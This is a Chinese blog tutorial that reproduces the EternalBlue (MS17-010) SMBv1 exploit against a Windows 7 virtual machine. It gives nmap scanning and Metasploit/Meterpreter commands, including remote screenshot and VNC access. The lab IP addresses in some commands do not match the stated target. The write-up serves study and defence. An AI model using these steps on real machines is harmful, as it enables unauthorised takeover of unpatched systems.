漏洞复现_永恒之蓝

1.概述

永恒之蓝(EternalBlue)是一个影响Windows操作系统的远程代码执行漏洞,编号为CVE-2017-0144,最初由美国国家安全局(NSA)开发并利用,后来被黑客组织Shadow Brokers泄露。该漏洞存在于SMBv1协议的内存处理过程中,攻击者可通过发送特制的恶意数据包远程执行任意代码,控制目标系统。它最臭名昭著的应用是2017年的WannaCry勒索软件攻击,该攻击迅速传播,影响超过230,000台计算机,导致全球范围内的广泛破坏。微软在2017年3月发布了安全更新补丁(MS17-010)修复该漏洞,但由于部分系统未及时更新,仍有大量机器暴露在风险之中。为防范此类攻击,建议关闭SMBv1协议并及时应用补丁。本文在虚拟环境中,使用Nmap和Metasploit对病毒攻击进行复现,展示其攻击过程,供大家学习和参考。

如果当前的Windows系统启用了SMBv1协议并且没有安装微软发布的补丁MS17-010,那么该系统确实暴露在永恒之蓝(EternalBlue)漏洞的威胁之下。

2. 复现准备

2.1 漏洞原理

永恒之蓝的漏洞存在于SMBv1协议的实现中。当一个Windows系统通过SMBv1接收到经过特制的恶意请求时,协议处理过程中的缓冲区管理出现错误,导致内存中的数据被非法操作。这种内存管理漏洞属于缓冲区溢出(Buffer Overflow)类型,使得攻击者可以向目标系统注入并执行任意代码,最终完全控制受害者系统。其详细过程如下:

  • 缓冲区溢出:攻击者向目标系统的SMBv1服务发送一个特制的请求数据包,该数据包利用了SMB协议在处理网络请求时的内存管理缺陷。在处理这些数据时,系统没有正确验证输入的大小,导致了缓冲区溢出问题。
  • 内存损坏:缓冲区溢出会使得攻击者能够覆盖系统内存中的数据,尤其是代码执行区域的内存。通过精心构造的攻击数据包,攻击者能够覆盖特定的内存区域,使得系统执行恶意代码。
  • 远程代码执行:攻击者可以在目标系统上植入恶意代码并远程执行。因为SMB服务通常运行在系统权限下,攻击者获得的执行权限往往是管理员权限,这意味着攻击者可以完全控制受害系统。

缓冲区溢出(Buffer Overflow)是一种常见的计算机安全漏洞,发生在程序试图将超过预定大小的数据写入缓冲区时。缓冲区是程序在内存中用于临时存储数据的区域,当数据超出该区域容量时,多余的数据会覆盖相邻的内存地址,可能导致程序崩溃或给攻击者提供执行任意代码的机会。

2.2 漏洞影响

永恒之蓝漏洞影响了多个Windows版本,其中Windows 7和Windows Server 2008受到的影响最为严重,许多未打补丁的系统成为攻击目标。Windows Vista和Windows XP也存在风险,前者在2017年结束支持,后者在2014年已不再获得安全更新,使用这些版本的系统极为脆弱。Windows Server 2012虽然受到影响,但通常会及时进行安全更新,而Windows 10在漏洞首次出现时也受影响,但迅速推出了补丁,风险相对较低。Windows Server 2016和2019虽受影响,但仍在持续支持中,建议用户定期更新以降低安全风险。

Windows版本影响程度支持状态
Windows 7受影响严重,许多未打补丁的系统成为攻击目标2020年1月结束支持,某些企业仍在使用
Windows Server 2008同样受到影响,广泛应用于企业和数据中心环境2020年1月结束主流支持,转入扩展支持
Windows Vista受到影响,但用户数量较少2017年4月结束支持
Windows XP历史悠久的系统,易受到攻击,特别是在特定设备上2014年结束支持,使用该版本的系统风险极高
Windows Server 2012受影响,但通常会较快进行安全更新仍在进行主流支持,未打补丁的系统存在风险
Windows 10受影响但快速发布了补丁,相对风险较低持续获得更新和支持,建议定期安装安全补丁
Windows Server 2016受影响但及时获得安全补丁仍在持续支持中,建议定期更新
Windows Server 2019受影响但及时获得安全补丁仍在持续支持中,建议定期更新

2.3 复现环境

虚拟环境搭建:VMware Workstation 17 Pro

网络模式:NAT是一种在网络设备(如路由器或防火墙)中使用的技术,用于将私有IP地址转换为公共IP地址。通过NAT,多个虚拟机可以共享宿主机的公共IP地址,以访问外部网络。

当虚拟机发送网络请求时,宿主机会捕获这些请求,并将虚拟机的私有IP地址转换为宿主机的公共IP地址,然后将请求发送到外部网络。当外部网络返回数据时,宿主机会使用NAT表将数据包路由回相应的虚拟机,每个虚拟机的流量通过不同的端口进行标识,从而确保数据包能够正确发送到目标虚拟机。

攻击机:kali Linux 2019.1,IP:192.168.153.130。

靶机:Windows 7,IP:192.168.153.129。

3. 攻击复现

3.1 使用nmap进行扫描

使用nmap扫描当前网段中存活的主机

# 活跃机器扫描
nmap -sS 192.168.153.0/24

扫描发现与攻击机处于同一网段的靶机,其 IP 为 192.168.153.129,其开放的端口包括 135 端口、139 端口基于 445 端口。在此基础上,需要进一步确认靶机的操作系统类型。

# 操作系统侦察
nmap -O 192.168.56.129

扫描发现靶机的操作系统为 Windows 7,在此基础上进一步通过nmap脚本扫描靶机中存在的漏洞。

# 漏洞扫描
nmap --script=vuln 192.168.56.132

扫描发现靶机存在永恒之蓝漏洞(ms17-010),接下来需要使用工具实现漏洞的利用。

3.2 使用Metasploit进行攻击

启动 Metasploit,并搜索永恒之蓝漏洞相关的工具。

# 启动metasploit
msfconsole

# 搜索永恒之蓝相关工具
search ms17-010

执行上述指令后发现,存在一系列用于永恒之蓝漏洞利用的模块,如上图所示。其中,我们利用模块2。

# 选择模块2
use 2

# 显示配置
show option

# 设置靶机IP
set RHOSTS 192.168.153.129

# 运行模块
run

运行成功后会出现 `meterpreter >` 提示符,它是 Metasploit 的一个强大扩展模块。通过 Meterpreter,可以执行更深入的渗透操作,例如获取目标系统的屏幕截图、上传或下载文件、创建持久后门等。基于meterpreter模块,我们首先可以实现靶机的截屏,如下图所示。

# 靶机截屏指令
screenshot

# 远程桌面指令
run vnc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/882790.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Gitee Pipeline 从入门到实战【详细步骤】

文章目录 Gitee Pipeline 简介Gitee Pipeline 实战案例 1 - 前端部署输入源NPM 构建Docker 镜像构建Shell 命令执行案例 2 - 后端部署全局参数输入源Maven 构建Docker 镜像构建Shell 命令执行参考🚀 本文目标:快速了解 Gitee Pipeline,并实现前端及后端打包部署。 Gitee Pi…

【d46】【Java】【力扣】876.链表的中间结点

思路 先获得总体长度, 再得到中间节点 的索引,,这里的索引是从1开始的索引,而不是从0开始的索引(这种理解方式更简单) 排错:另一个思路:将链表都放进list,获得中间的数字,然后遍历…

AfuseKt1.3.6-10110功能强大的安卓网络视频播放器,支持多种在线存储和媒体管理平台!

AfuseKt 是一款功能强大的安卓网络视频播放器,专为满足用户对多样化媒体播放需求而设计。它不仅支持多种流行的在线存储和媒体管理平台,如阿里云盘、Alist、WebDAV和Emby等,还提供了刮削功能和海报墙展示,使得用户能够更加便捷地管…

船舶检测系统源码分享

船舶检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

深度学习|误差逆传播:梯度速解

文章目录 引言链式法则误差逆传播加法的逆传播乘法的逆传播逆传播求梯度 SoftmaxWithLoss 层正向传播逆传播代码实现参考 结语 引言 我们知道训练神经网络模型的核心是以损失函数为基准来调整优化网络参数,使得网络的输出尽可能接近真实标签。在神经网络中&#xf…

网络原理(4)——网络层(IP)、数据链路层

1. IP 协议 基本概念: 主机:配有 IP 地址,但是不进行路由控制的设备 路由器:即配有 IP 地址,又能进行路由控制 节点:主机和路由器的统称 IP 协议报头格式 1) 4 位版本:实际上只有两个取值&…

RabbitMQ 高级特性——发送方确认

文章目录 前言发送方确认confirm 确认模式return 退回模式 常见面试题 前言 前面我们学习了 RabbitMQ 中交换机、队列和消息的持久化,这样能够保证存储在 RabbitMQ Broker 中的交换机和队列中的消息实现持久化,就算 RabbitMQ 服务发生了重启或者是宕机&…

安卓13去掉下拉菜单的Dump SysUI 堆的选项 android13删除Dump SysUI 堆

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析3.1 位置13.2 位置24.代码修改5.编译6.彩蛋1.前言 客户需要去掉下拉菜单里面的Dump SysUI 堆图标,不让使用这个功能。 2.问题分析 android的下拉菜单在systemui里面,这里我们只需要定位到对应的添加代…

通义灵码AI 程序员正式发布:写代码谁还动手啊

虽然见不到面 但你已深潜我心 前几天,在 2024 年的杭州云栖大会上,随着通义大模型能力的全面提升,阿里云通义灵码这位中国的首位 AI 程序员也迎来重大的升级。 一年前这位 AI 程序员还只能完成基础的编程任务,到现在可以做到几…

2024年华为杯研究生数学建模竞赛D题(时空演化模型+脆性指数 完整文章|可视化)

2024年华为杯研究生数学建模竞赛D题 全文请从 底部名片 处加群获取哦~ 问题重述 题目背景: 地理系统是由自然和人文多要素综合作用形成的复杂巨系统。传统上,地理学家通过宏观结构和定性分析方法描述地理系统的主导特征,如地形分布、气候…

LabVIEW闪退

LabVIEW闪退或无法启动可能由多个原因引起,特别是在使用了一段时间后突然发生的问题。重启电脑后 LabVIEW 和所有 NI 软件都无法打开,甚至在卸载和重装时也没有反应。这种情况通常与系统环境、软件冲突或 NI 软件组件的损坏有关。 1. 检查系统和软件冲突…

使用 Docker 部署 RStudio 的终极教程

一.介绍 在现代数据科学和统计分析领域,RStudio 是一个广受欢迎的集成开发环境(IDE),为用户提供了强大的工具来编写、调试和可视化 R 代码。然而,传统的 RStudio 安装可能面临环境配置复杂、版本兼容性等问题。Docker…

CentOS7搭建Hadoop3集群教程

一、集群环境说明 1、用VMware安装3台Centos7虚拟机 2、虚拟机配置:2C,2G内存,50G存储 3、集群架构设计 从表格中,可以看出,Hadoop集群,主要有2个模块服务,一个是HDFS服务,一个是YAR…

不靠学历,不拼年资,怎么才能月入2W?

之前统计局发布了《2023年城镇单位就业人员年平均工资情况》,2023年全国城镇非私营单位和私营单位就业人员年平均工资分别为120698元和68340元。也就是说在去年非私营单位就业人员平均月薪1W,而私营单位就业人员平均月薪只有5.7K左右。 图源:…

视频监控相关笔记

一、QT 之 QTreeWidget 树形控件 Qt编程指南,Qt新手教程,Qt Programming Guide 一个树形结构的节点中的图表文本 、附带数据的添加: QTreeWidgetItem* TourTreeWnd::InsertNode(NetNodeInfo node, QTreeWidgetItem* parent_item) { // …

asp.net core日志与异常处理小结

asp.net core的webApplicationBuilder中自带了一个日志组件,无需手动注册服务就能直接在控制器中构造注入,本文主要介绍了net core日志与异常处理小结,需要的朋友可以参考下 ILogger简单使用 asp.net core的webApplicationBuilder中自带了一个日志组件…

Redis的一些数据类型(一)

(一)数据类型 我们说redis是key value键值对的方式存储数据,key是字符串,而value是一些数据结构,那今天就来说一下value存储的数据。 我们数据结构包含,String,hash,list,set和zest但…

新手卖家做跨境电商,选择Shopee还是亚马逊?

对于刚刚涉足跨境电商领域的新人来说,选择合适的电商平台是迈出成功第一步的关键。目前最主流的跨境平台一定是亚马逊,平台覆盖全球各个市场,利润高,但门槛也高。Shopee主要面向的是东南亚市场,商品一般更有性价比&…

LabVIEW界面输入值设为默认值

在LabVIEW中,将前面板上所有控件的当前输入值设为默认值,可以通过以下步骤实现: 使用控件属性节点:你可以创建一个属性节点来获取所有控件的引用。 右键点击控件,选择“创建” > “属性节点”。 设置属性节点为“D…

Unity开发绘画板——02.创建项目

1.创建Unity工程 我们创建一个名为 DrawingBoard 的工程,然后先把必要的工程目录都创建一下: 主要包含了一下几个文件夹: Scripts :存放我们的代码文件 Scenes :工程默认会创建的,存放场景文件 Shaders &…